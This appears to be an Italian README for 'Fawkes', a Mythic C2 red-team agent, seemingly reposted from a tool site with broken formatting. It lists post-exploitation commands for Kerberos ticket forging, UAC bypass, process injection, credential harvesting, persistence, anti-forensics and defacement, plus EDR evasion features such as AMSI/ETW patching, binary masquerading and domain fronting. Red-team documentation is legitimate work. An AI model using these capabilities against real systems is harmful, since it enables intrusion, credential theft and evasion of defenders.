ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Falsifica, richiede, rinnova, delega o autentica con certificato ticket Kerberos. Forge: Golden/Silver Tickets (offline). Request: Overpass-the-Hash (online). Diamond: scambio AS reale + modifica del ticket per evasione. Renew: estende la durata del TGT. S4U: delega vincolata tramite S4U2Self+S4U2Proxy. PKINIT: autenticazione basata su certificato da ADCS/Shadow Creds. Multipiattaforma (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Traduce, comprime o elimina caratteri nel contenuto del file. Supporta classi e intervalli di caratteri. Multipiattaforma (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Trova file di alto valore per esfiltrazione — documenti, credenziali, configurazioni, database (.db/.sqlite), script (.py/.sh/.ps1), archivi (.zip/.tar/.7z), file di posta (.pst/.eml/.mbox), file modificati di recente o scansione di percorso personalizzata. **recon-chain**: catena automatica di sotto-attività — portscan → enum condivisioni SMB → share hunt → triage locale (richiede target, nome utente/password). Multipiattaforma (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Enumera i trust di dominio/foresta tramite LDAP con topologia della foresta, analisi di transitività, forza di cifratura e identificazione del percorso di attacco. Multipiattaforma (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Modifica i timestamp dei file per mimetizzarsi. Ottieni, copia da un altro file, imposta un'ora specifica, abbina i vicini della directory (IQR) o casuale entro un intervallo. `clean-prefetch` elimina i file Prefetch di Windows per un eseguibile nominato. Windows modifica anche l'ora di creazione.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Solo Windows)** Gestione sessioni RDP — elenca, dirotta, disconnette o disconnette sessioni. Acquisizione di sessione senza credenziali (T1563.002).
ts | `ts [-a] [-i PID]` | **(Solo Windows)** Elenca i thread nei processi. Per impostazione predefinita mostra solo i thread allertabili (Sospeso/DelayExecution). Usa -a per tutti i thread, -i per filtrare per PID (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Solo Windows)** Bypassa UAC per escalare da integrità media ad alta. 8 tecniche: hijack del registro, hijack di variabili d'ambiente, abuso di file INF, hijack CLSID COM, directory attendibile fittizia. Predefinito avvia callback elevato (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Filtra o conta le righe duplicate consecutive in un file. La modalità count ordina per frequenza. Multipiattaforma (T1083).
unlink | `unlink -connection_id <uuid>` | Disconnette un agente P2P collegato (TCP o named pipe). Multipiattaforma (T1572).
uptime | `uptime` | Mostra l'uptime del sistema, l'ora di avvio e i carichi medi. Multipiattaforma (T1082).
upload | `upload` | Carica un file sul target con trasferimento chunked. Supporta la decompressione automatica dei file gzip. Verifica hash SHA256.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Solo Windows)** Interroga o cancella il journal delle modifiche USN NTFS — distrugge la cronologia delle operazioni sui file per anti-forense (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Inietta shellcode in un processo remoto (inject), migra agente (migrate: inject + exit) o avvia un nuovo processo con LD_PRELOAD .so (ldpreload: solo Linux, nessun ptrace, bypassa Yama). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** scrittura diretta /proc/PID/mem, LD_PRELOAD tramite memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | Rileva ambiente VM/hypervisor o analizza l'evasione della sandbox. `detect`: OUI MAC, DMI/SMBIOS, strumenti VM, SCSI, flag hypervisor CPU. `sandbox`: analisi punteggio — conteggio CPU, RAM, disco, uptime, temporizzazione sleep, hostname, conteggio processi, username. Multipiattaforma (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Tecniche di impatto: gestione VSS (Windows), inibizione del ripristino (T1490), spegnimento/riavvio (T1529, multipiattaforma). Le azioni distruttive richiedono -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Monitora una directory per modifiche al filesystem — rileva file nuovi, modificati ed eliminati tramite polling. Supporta filtri glob e rilevamento hash MD5. Multipiattaforma (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Conta righe, parole, caratteri e byte nei file. Modalità directory con filtro glob pattern e totali. Multipiattaforma (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Solo Windows)** Gestisce la memorizzazione nella cache delle credenziali in chiaro WDigest. Abilita per catturare password in chiaro al prossimo accesso. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` o `winrm -action check -host <target> [-username <user> -password <pass>]` | Esegue comandi su host Windows remoti tramite WinRM con autenticazione NTLM. Supporta pass-the-hash, cmd.exe e PowerShell. `check` valida i prerequisiti WinRM (porte 5985/5986, autenticazione, shell). Multipiattaforma (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Solo Windows)** Enumera le finestre dell'applicazione visibili — mostra HWND, PID, nome del processo, classe della finestra e titolo. I filtri di ricerca filtrano per titolo/processo/classe. MITRE T1010.
who | `who [-all true]` | Mostra gli utenti attualmente connessi e le sessioni attive. Linux: analizza utmp. Windows: API WTS. macOS: comando who. Multipiattaforma (T1033).
whoami | `whoami` | Mostra l'identità dell'utente corrente e il contesto di sicurezza. Windows: nome utente, SID, tipo di token, livello di integrità, appartenenza a gruppi, privilegi. Linux: utente, UID, GID, gruppi, capacità effettive (decodificate), contesto SELinux/AppArmor, rilevamento contenitore. macOS: utente, UID, GID, gruppi.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Solo Windows)** Esegue query WMI, creazione di processi, upload di file ed esecuzione in fasi tramite API COM. upload: trasferisce file tramite staging con certutil/PowerShell. exec-staged: carica poi esegue con pulizia automatica. `check` valida i prerequisiti WMI (RPC 135, connettività WMI). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Solo Windows)** Persistenza tramite sottoscrizione di evento WMI tramite API COM. Supporta consumer CommandLine e ActiveScript (VBScript/JScript). Senza file, sopravvive ai riavvii. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Recupera i profili e le credenziali delle reti WiFi salvate. Windows: API WLAN, Linux: NetworkManager/wpa_supplicant/iwd, macOS: Portachiavi. Multipiattaforma (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Scrive contenuto nei file o deturpa pagine web. `write`: crea/sovrascrive/aggiunge (default). `deface`: sostituisce il contenuto web con un messaggio di deturpazione (T1491, cancello di sicurezza). Multipiattaforma (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Solo Windows)** Scrive byte all'indirizzo di una funzione DLL.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Solo Linux/macOS)** Gestisce attributi estesi di file — elenca, ottiene, imposta, elimina. Complemento Unix per ADS Windows per nascondere dati (T1564.004).## Aumento dei comandi Forge

Fawkes supporta l'aumento dei comandi di [Mythic Forge](https://github.com/MythicAgents/forge), che estende dinamicamente le capacità dell'agente con raccolte di strumenti esterni. Quando Forge è installato insieme a Mythic, comandi aggiuntivi appaiono automaticamente nell'interfaccia Mythic per i callback di Fawkes — senza necessità di ricostruire l'agente.

**Raccolte di strumenti supportate:**

| Raccolta | Tipo | Esegue tramite | Esempi |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | Assembly .NET | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | File BOF/COFF | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |

### Installazione (Nuova installazione)

**Passo 1: installare Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge

Passaggio 2: Aggiungi Fawkes al supporto per i tipi di payload di Forge

Modifica InstalledServices/forge/payload_type_support.json e aggiungi l'entry di Fawkes all'array JSON:```json { "agent": "fawkes", "bof_command": "inline-execute", "bof_file_parameter_name": "bof_file", "bof_argument_array_parameter_name": "coff_arguments", "bof_entrypoint_parameter_name": "function_name", "inline_assembly_command": "inline-assembly", "inline_assembly_file_parameter_name": "assembly_file", "inline_assembly_argument_parameter_name": "assembly_arguments", "execute_assembly_command": "", "execute_assembly_file_parameter_name": "", "execute_assembly_argument_parameter_name": "", "assembly_default_execution_method": "inline_assembly" }

root@kitploit:~
Questo mappa l'interfaccia dei parametri generici di Forge ai nomi dei comandi e dei parametri specifici di Fawkes. Il mapping dei campi:
- `bof_command` → comando `inline-execute` di Fawkes (esecuzione BOF/COFF)
- `inline_assembly_command` → comando `inline-assembly` di Fawkes (esecuzione assembly .NET)
- `execute_assembly_command` → vuoto (Fawkes usa inline-assembly per tutta l'esecuzione .NET)
- I nomi dei parametri devono corrispondere esattamente a ciò che le agentfunctions di Fawkes definiscono nel gruppo di parametri "Forge"

**Passo 3: Ricostruisci e riavvia**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes

Step 4: Registrare le fonti degli strumenti

Apri l'interfaccia utente di Mythic e usa il comando forge_register (disponibile su qualsiasi callback) per registrare le fonti degli strumenti. Fonti comuni:

Per registrare una fonte, esegui forge_register con commandName impostato sul nome semplice della fonte (ad es. Rubeus, non forge_net_Rubeus) e remove impostato su false.

Dopo la registrazione, Forge scarica i binari dello strumento e crea comandi aumentati (ad es. forge_net_Rubeus, forge_bof_nanodump) che appaiono nell'elenco dei comandi del callback.

Step 5: Verifica

I callback esistenti vedono automaticamente i comandi Forge — nessun nuovo payload necessario. Verifica eseguendo uno strumento registrato:

  1. Esegui prima autopatch o start-clr (patching AMSI per strumenti .NET)
  2. Seleziona un comando Forge (ad es. forge_net_Seatbelt)
  3. Inserisci argomenti (ad es. -group=system)
  4. Esegui — Forge traduce il comando in inline-assembly con il binario dello strumento incorporato

Suggerimenti per l'uso

  • Per strumenti .NET (SharpCollection), esegui prima start-clr con autopatch per inizializzare il CLR e patchare AMSI — senza questo, Windows Defender potrebbe bloccare l'esecuzione dell'assembly
  • Per strumenti BOF (Sliver Armory), assicurati che i BOF siano compilati per x64
  • Non sono necessari parametri di build speciali — il supporto Forge è integrato nei comandi inline-execute e inline-assembly di Fawkes tramite il gruppo di parametri "Forge"
  • I comandi Forge funzionano sui callback esistenti senza dover ricostruire l'agente
  • Quando si emettono comandi Forge tramite API, includi payload_type: "forge" nella mutazione createTask — senza questo, Mythic cerca solo il proprio tipo di payload del callback

Tecniche di Iniezione

Iniezione PoolParty

Iniezione Opus

VarianteTecnicaTargetGo Shellcode
1Catena del gestore Ctrl-CSolo processi consoleNo
4PEB KernelCallbackTableSolo processi GUISì

Per descrizioni dettagliate delle varianti, vedi Dettagli delle tecniche di iniezione.

Opzioni di Build

Metodi di esportazione DLL

Quando si compila in modalità condivisa (DLL) o windows-shellcode, il parametro di build dll_exports controlla quali esportazioni DLL sono incluse:

Metodi di esecuzione con esportazioni complete:

Inflazione Binaria

Fawkes supporta l'inflazione binaria opzionale al momento della build. Questo incorpora un blocco di byte ripetuti nell'agente compilato, che può essere utilizzato per aumentare la dimensione del file o abbassare i punteggi di entropia.

Due parametri di build controllano questo:

  • inflate_bytes - Byte esadecimali da incorporare (ad es. 0x90 o 0x41,0x42)
  • inflate_count - Numero di volte da ripetere il pattern di byte

Il pattern di byte viene ripetuto inflate_count volte, quindi la dimensione totale aggiunta è length(byte_pattern) * inflate_count.

Riferimento rapido per le dimensioni:

Quando l'inflazione non è configurata, viene aggiunto solo 1 byte di overhead al binario.

Incorporamento di Risorse PE (Solo Windows)

I binari PE di Windows contengono metadati di risorse — informazioni sulla versione, icone e manifest UAC — visibili in Proprietà file, Task Manager ed Esplora file. I binari Go predefiniti non hanno questi metadati, il che è un forte segnale di rilevamento per strumenti e analisti di sicurezza.

Fawkes supporta l'incorporamento di risorse PE al momento della build per impersonare binari Windows legittimi:

Parametri di build:

Preimpostazioni (10 binari Windows comuni con informazioni versione reali): notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker

I campi individuali sovrascrivono i valori predefiniti. Quando nessun parametro di risorsa PE è impostato, il binario rimane invariato rispetto all'output Go predefinito.

Funzionalità di Opsec

Tracciamento degli Artefatti

Fawkes registra automaticamente gli artefatti con Mythic per i comandi rilevanti per l'opsec. Gli artefatti appaiono nell'interfaccia utente di Mythic sotto la scheda Artefatti, dando agli operatori un quadro chiaro di tutti gli indicatori forensi generati durante un impegno.

Tipi di artefatti tracciati:

I comandi di sola lettura (ls, ps, cat, env, ecc.) non generano artefatti.

Integrazione del Vault delle Credenziali

I comandi di acquisizione delle credenziali segnalano automaticamente le scoperte all'archivio Credenziali di Mythic, rendendole ricercabili ed esportabili dall'interfaccia utente di Mythic.

Tracciamento Keylog

Il comando keylog si integra con la funzione Keylog di Mythic. Quando i tasti premuti vengono restituiti tramite stop o dump, vengono automaticamente analizzati per titolo della finestra e inviati al tracciatore keylog di Mythic con attribuzione dell'utente. I keylog sono ricercabili nell'interfaccia utente di Mythic per titolo finestra, utente o contenuto dei tasti.

Tracciamento Token

I comandi make-token e steal-token registrano i token con il tracciatore Callback Tokens di Mythic. Ciò fornisce visibilità su quali token sono associati a ciascun callback, inclusa l'identità dell'utente impersonato e il processo di origine. Il comando rev2self rimuove automaticamente i token tracciati quando l'impersonificazione viene interrotta.

Verifica del Certificato TLS

Controlla come l'agente convalida i certificati HTTPS quando comunica con il server C2. Configurato al momento della compilazione tramite il parametro tls_verify:

ModalitàDescrizione
noneSalta tutta la verifica TLS (predefinita, compatibile all'indietro)
system-caConvalida i certificati rispetto al trust store del sistema operativo
pinned:<sha256>Blocca un'impronta digitale specifica del certificato (SHA-256 esadecimale). L'agente rifiuta le connessioni se il certificato del server non corrisponde.

Il pinning del certificato impedisce l'intercettazione MITM del traffico dell'agente anche se un attaccante controlla un CA attendibile.

Spoofing dell'Impronta Digitale TLS (JA3)

Lo stack TLS standard di Go produce un hash JA3 distintivo che gli strumenti di sicurezza di rete possono identificare come traffico non browser. Il parametro di build tls_fingerprint utilizza uTLS per falsificare il ClientHello TLS, producendo un'impronta digitale JA3 corrispondente a un browser.

Autenticazione del Certificato Client TLS Reciproco (mTLS)

Aggiungi l'autenticazione del certificato client al profilo C2 HTTP. Quando configurato, l'agente presenta un certificato client durante l'handshake TLS, consentendo al server C2 di verificare l'identità dell'agente. Ciò previene l'intercettazione HTTPS passiva e gli attacchi MITM tramite proxy.

ParametroDescrizione
mtls_certCertificato client in formato PEM
mtls_keyChiave privata client in formato PEM

Il certificato/chiave vengono codificati in base64 al momento della compilazione, crittografati XOR se l'offuscamento delle stringhe è abilitato e archiviati nel vault di configurazione AES-256-GCM in fase di esecuzione. Si combina con le modalità di verifica TLS esistenti e lo spoofing dell'impronta digitale JA3.

URL C2 di Fallback

URL di callback C2 multipli con failover automatico. Se l'host di callback primario non è raggiungibile, l'agente scorre in modo trasparente attraverso gli URL di fallback prima di applicare il backoff.

ParametroDescrizione
fallback_hostsHost C2 di fallback separati da virgola (ad es. http://backup1.example.com,https://backup2.example.com)

Stessa porta e crittografia del primario. Ricorda l'ultimo URL riuscito. Funziona con vault di configurazione e offuscamento XOR.

Chiave Ambientale / Guardrail

Impedisce all'agente di eseguirsi su sistemi non autorizzati. Configurato al momento della compilazione — l'agente esce silenziosamente prima di effettuare qualsiasi contatto di rete se i controlli falliscono. Nessun log, nessun artefatto, nessun traffico C2.

Tutti i pattern sono case-insensitive e ancorati per corrispondere al valore completo. Più chiavi possono essere combinate — tutte devono passare. Pattern regex non validi portano all'uscita (l'agente esce). Lascia vuoto per saltare un controllo.

Derivazione della chiave ambientale (env_key_derive): Quando impostato, tutta la configurazione C2 sensibile (host di callback, UUID, chiave di crittografia, URI, impostazioni proxy, ecc.) viene crittografata con AES-256-GCM al momento della compilazione utilizzando una chiave derivata dall'ambiente del target. In fase di esecuzione, l'agente ri-deriva la chiave dal proprio ambiente — se non corrisponde (host/dominio/utente sbagliato), la decifratura fallisce e l'agente esce silenziosamente. Questo è più forte della corrispondenza regex perché i valori di configurazione non sono mai presenti nel binario in alcuna forma. Richiede che i corrispondenti valori env_key_* contengano i valori ESATTI del target (non pattern regex). Si sovrappone a obfuscate_strings (strato XOR applicato prima, poi AES-GCM).

Offuscamento delle Stringhe C2

Abilita il parametro di build obfuscate_strings per codificare XOR tutte le stringhe di configurazione C2 (host di callback, URI, user agent, chiave di crittografia, UUID) al momento della compilazione con una chiave casuale per build di 32 byte. Impedisce l'estrazione banale di indicatori tramite strings sul binario. Decodificato in fase di esecuzione. Multipiattaforma.

BlockDLL per Processi Figli

Abilita il parametro di build block_dlls per applicare PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON a tutti i processi figli generati dall'agente (comandi run, powershell). Impedisce all'EDR di iniettare DLL di monitoraggio nei processi generati. Utilizza STARTUPINFOEX con UpdateProcThreadAttribute. Solo Windows.

Spoofing del PID Genitore per Sottoprocessi

Imposta config -action set -key default_ppid -value <PID> in fase di esecuzione per far apparire tutti i processi figli (run, powershell) come figli di un processo legittimo (ad es. explorer.exe). Sconfigge il rilevamento delle relazioni genitore-figlio da parte dell'EDR. Si combina con BlockDLL quando entrambi sono attivi. Utilizza UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Disabilita con config -action set -key default_ppid -value 0. Solo Windows (T1134.004).

Patch Automatica ETW/AMSI

Abilita il parametro di build auto_patch per patchare automaticamente EtwEventWrite e AmsiScanBuffer all'avvio dell'agente. Questo impedisce il rilevamento basato su ETW e la scansione AMSI prima che qualsiasi attività dell'agente abbia luogo — nessun comando manuale necessario. Solo Windows (nessuna operazione su Linux/macOS).

Auto-Cancellazione

Abilita la cancellazione automatica del binario all'avvio tramite il parametro di build self_delete. Una volta che l'agente inizia l'esecuzione, rimuove il proprio file dal disco — eliminando il principale artefatto forense.

  • Linux/macOS: Utilizza os.Remove() — il processo in esecuzione continua tramite il mapping in-memory dell'inode. Il file scompare dal disco immediatamente.
  • Windows: Utilizza la tecnica di rinomina del flusso NTFS — rinomina lo stream predefinito :$DATA e poi elimina la voce del file. Nessun processo figlio generato.

Il binario viene eliminato dopo che i controlli della chiave ambientale sono passati ma prima dell'inizio dell'attività di rete.

Mascheramento del Processo (Linux)

Imposta il parametro di build masquerade_name per cambiare il nome del processo dell'agente su Linux. Utilizza prctl(PR_SET_NAME) per modificare /proc/self/comm, che viene visualizzato da ps, top e htop. Massimo 15 caratteri.

Nomi utili: [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]

Combinato con l'auto-cancellazione, l'agente appare come un thread kernel legittimo o un servizio senza file su disco.

Pagine di Guardia della Memoria di Sleep

Abilita sleep_guard_pages (richiede sleep_mask=true) per applicare VirtualProtect(PAGE_NOACCESS) sulla memoria del vault crittografata durante i cicli di sleep. Dopo che la maschera di sleep crittografa i dati sensibili (AES-256-GCM) e azzera gli originali, le pagine di guardia spostano il vault in memoria dedicata VirtualAlloc e la marcano come NO_ACCESS. Gli scanner di memoria EDR, ReadProcessMemory, WinDbg e Process Hacker ottengono STATUS_ACCESS_VIOLATION quando tentano di leggere il vault. Le pagine vengono ripristinate a PAGE_READWRITE al risveglio prima della decifratura. Su Linux/macOS, le pagine di guardia utilizzano mmap(MAP_ANON) + mprotect(PROT_NONE) — il probing attiva SIGSEGV.

La chiave del vault di sleep è vincolata all'hardware tramite HKDF-SHA256: un seed casuale viene mescolato con un hash SHA-256 della stringa della CPU e dell'UUID della macchina. Se qualcuno estrae il blob del vault da un dump di memoria e tenta la decifratura su hardware diverso, la derivazione della chiave produce una chiave diversa.

Spoofing dello Stack di Chiamata

Abilita stack_spoof per falsificare lo stack di chiamata del thread in sleep, sconfiggendo gli strumenti di scansione dei thread EDR (Hunt-Sleeping-Beacons, Moneta, CrowdStrike).

  • Windows (richiede indirect_syscalls=true): Un thread nativo dedicato esegue NtDelayExecution con indirizzi di ritorno fittizi che puntano a kernel32!SleepEx, kernel32!BaseThreadInitThunk e ntdll!RtlUserThreadStart — la catena standard di inizializzazione dei thread che l'EDR si aspetta.
  • Linux amd64: Un processo figlio viene creato tramite clone(CLONE_VM) con un proprio stub di codice macchina di 291 byte in memoria mmap anonima. Il figlio chiama nanosleep direttamente tramite syscall raw — nessun indirizzo del runtime Go o del codice dell'agente appare sullo stack del thread in sleep. I gestori di segnale vengono reimpostati a SIG_DFL nel figlio e PR_SET_PDEATHSIG assicura che il figlio muoia quando il genitore esce.
  • macOS arm64: Un pthread nativo viene generato con uno stub di codice macchina ARM64 di 140 byte in memoria mmap anonima. Il thread utilizza __ulock_wait/__ulock_wake per la sincronizzazione con il runtime Go e chiama nanosleep tramite syscall raw — lo stack del thread in sleep mostra solo lo stub anonimo e i frame del kernel, nessun runtime Go o codice dell'agente.

Intestazioni HTTP Personalizzate

Tutte le intestazioni definite nella configurazione del profilo C2 HTTP di Mythic vengono applicate a ogni richiesta. Oltre a User-Agent (sempre supportato), gli operatori possono aggiungere intestazioni come Accept-Language, Referer, Cookie o X-Forwarded-For per mimetizzare il traffico C2 con i pattern di traffico web legittimi.

Domain Fronting

Imposta il parametro di build host_header per sovrascrivere l'intestazione HTTP Host. Ciò abilita il domain fronting: instradare il traffico attraverso una CDN (ad es. CloudFront, Azure CDN) mentre l'intestazione Host punta al tuo dominio C2 effettivo. Per i difensori della rete, il traffico appare diretto all'indirizzo IP della CDN.

Supporto Proxy

Imposta il parametro di build proxy_url per instradare il traffico dell'agente attraverso un proxy HTTP o SOCKS. Utile per operare in reti aziendali con server proxy obbligatori.Esempi: http://proxy.corp.local:8080, socks5://127.0.0.1:1080

Proxy autenticati: Imposta proxy_user e proxy_pass per l'autenticazione Basic. Per proxy aziendali che richiedono autenticazione di dominio Windows, imposta anche proxy_domain (ad es. CORP) per abilitare l'autenticazione NTLM. L'handshake NTLM (Type1→Type2→Type3) viene eseguito automaticamente durante l'instaurazione del tunnel CONNECT.

Rilevamento proxy di sistema (Windows): Quando proxy_url non è impostato, l'agente interroga WinHTTP per le impostazioni proxy di sistema, inclusa la rilevazione automatica PAC/WPAD.

Rimozione dei percorsi di build (-trimpath)

Tutte le build utilizzano il flag -trimpath di Go per rimuovere i percorsi locali del filesystem dal binario compilato. Senza di esso, percorsi come /home/user/project/... e /go/pkg/mod/... trapelano nel binario attraverso tracce di panic e metadati di runtime. In combinazione con -s -w (rimozione dei simboli) e -buildid vuoto, questo minimizza le informazioni forensi nel binario. Le build Garble gestiscono già questo aspetto; -trimpath copre le build non Garble.

Scansione post-build con YARA

Dopo la compilazione, il payload costruito viene automaticamente scansionato con un set di regole YARA che modellano i pattern comuni di rilevamento dei difensori. I risultati vengono mostrati nell'output di build di Mythic come passo informativo — la scansione non causa mai il fallimento della build.

Categorie di rilevamento scansionate:

  • Identificazione di binari Go e perdite di simboli
  • Percorsi di build/sviluppo trapelati
  • Indicatori di stringhe del framework Mythic/C2
  • Nomi di API per l'iniezione in Windows
  • Nomi di API per l'accesso alle credenziali
  • Pattern di API per elusione della difesa
  • Stringhe di meccanismi di persistenza
  • Configurazione C2 in chiaro

Questo aiuta gli operatori a comprendere il rischio di rilevamento e a scegliere le opzioni opsec appropriate (garble, obfuscate_strings, ecc.) prima del deploy.

Profili C2 Supportati

Profilo HTTP

Il profilo HTTP effettua il callback al server Mythic tramite il profilo base non dinamico. Questo è il profilo di egress predefinito — l'agente interroga Mythic per i tasking su HTTP/HTTPS.

Funzionalità malleabili:

  • Randomizzazione URI: get_uri e post_uri supportano token che vengono risolti per ogni richiesta:
    • {rand:N} — N caratteri esadecimali casuali (ad es., /api/{rand:8} → /api/a3f82b1c)
    • {int:M-N} — intero casuale in un intervallo (ad es., /v{int:1-3}/status → /v2/status)
  • Rotazione Content-Type: Imposta il parametro di build content_types su un elenco separato da virgole (ad es., application/json,text/plain,application/x-www-form-urlencoded). L'agente li ruota in modo round-robin. Predefinito: application/x-www-form-urlencoded.
  • Rotazione User-Agent: Imposta il parametro di build user_agent_pool su un elenco separato da nuove righe di stringhe User-Agent. L'agente le ruota per ogni richiesta, eliminando l'impronta statica dell'UA. Predefinito: singolo UA Chrome 134.

Profilo TCP P2P

Il profilo TCP consente il collegamento peer-to-peer (P2P) degli agenti per il pivoting interno. Un agente figlio è in ascolto su una porta TCP o una named pipe di Windows e attende che un agente genitore si connetta tramite il comando link. Tutti i tasking e le risposte vengono instradati attraverso il canale di egress del genitore (HTTP), quindi il figlio non contatta mai Mythic direttamente.

Architettura:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)

root@kitploit:~
**Parametri di build:**

| Parametro | Descrizione | Predefinito |
|-----------|-------------|---------|
| `tcp_bind_address` | Indirizzo e porta su cui il child deve ascoltare (es., `0.0.0.0:7777`) | _(vuoto = modalità HTTP)_ |
| `namedpipe_bind_name` | Nome della named pipe su cui il child deve ascoltare (es., `msrpc-f9a1`). Solo Windows. | _(vuoto)_ |

Quando `tcp_bind_address` o `namedpipe_bind_name` è impostato, l'agente si avvia in modalità listener P2P invece della modalità di egress HTTP.

**Flusso di utilizzo (TCP):**

1. Crea un **child agent** con il profilo C2 TCP e `tcp_bind_address` impostato (es., `0.0.0.0:7777`)
2. Distribuisci il child su un host interno (nessun accesso a Internet richiesto)
3. Da un **egress agent** (profilo HTTP), esegui: `link -host <child_ip> -port 7777`
4. Mythic crea un nuovo callback per il child — tutto il tasking scorre attraverso l'egress agent
5. Per disconnettere: `unlink -connection_id <uuid>`

**Flusso di utilizzo (Named Pipe):**

1. Crea un **child agent** con il profilo C2 TCP e `namedpipe_bind_name` impostato (es., `msrpc-f9a1`)
2. Distribuisci il child su un host Windows interno
3. Da un **egress agent**, esegui: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. La connessione utilizza SMB (porta 445), mescolandosi con il normale traffico di condivisione file di Windows
5. Per disconnettere: `unlink -connection_id <uuid>`

**Crittografia:** AES-256-CBC con HMAC-SHA256 (come il profilo HTTP). Il protocollo di rete utilizza framing con prefisso di lunghezza di 4 byte su TCP o named pipe.

**Supporto per il relink:** Se un genitore si disconnette (es., tramite `unlink` o il parent agent muore), il child agent memorizza nella cache i dati di checkin e attende una nuova connessione genitore. Quando un nuovo egress agent esegue `link`, il child si registra automaticamente con Mythic come un nuovo callback. Nessun intervento manuale necessario.

**Child multipli:** Un egress agent può collegarsi a più child TCP e named pipe simultaneamente. Ogni child opera indipendentemente con il proprio callback.

**Note OPSEC:** Le connessioni named pipe utilizzano SMB (porta 445) e generano meno indicatori a livello di rete rispetto al TCP puro, ma Sysmon Event ID 17/18 (PipeEvent) e gli eventi ETW di Microsoft-Windows-SMBClient verranno registrati se configurati.

### Profilo C2 Discord

Il profilo Discord utilizza un bot e un canale Discord come trasporto C2 occulto. L'agente comunica con Mythic pubblicando messaggi crittografati su un canale Discord, dove un bot lato server li inoltra a Mythic tramite gRPC push C2.

**Architettura:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic

Come funziona:

  1. Checkin: L'agente pubblica un messaggio di checkin crittografato sul canale Discord. Il bot lato server lo raccoglie, lo inoltra a Mythic e pubblica la risposta sul canale. L'agente interroga finché non trova la risposta.
  2. Tasking: L'agente invia una richiesta get_tasking tramite Discord. Con il push C2, i compiti possono anche essere inviati in modo indipendente sul canale. L'agente raccoglie tutti i messaggi corrispondenti per ciclo di polling.
  3. Risposte: L'agente pubblica l'output dei compiti sul canale. Le risposte grandi (>1950 caratteri) vengono inviate come allegati.

Parametri di build:

Crittografia: AES-256-CBC con HMAC-SHA256 (stesso schema del profilo HTTP). La configurazione sensibile (token del bot, ID canale) viene crittografata in memoria dopo l'inizializzazione utilizzando un vault AES-256-GCM.

Supporto Push C2: Il server C2 Discord utilizza il push C2 di Mythic (stream gRPC persistente). I compiti possono arrivare in modo asincrono tra i cicli di polling. L'agente implementa:

  • Spazzata pre-poll per catturare compiti pushati dai cicli precedenti
  • Polling di recupero (3 polling aggiuntivi dopo la prima corrispondenza) per una consegna rapida dei compiti
  • Riprova PostResponse in caso di guasti transitori

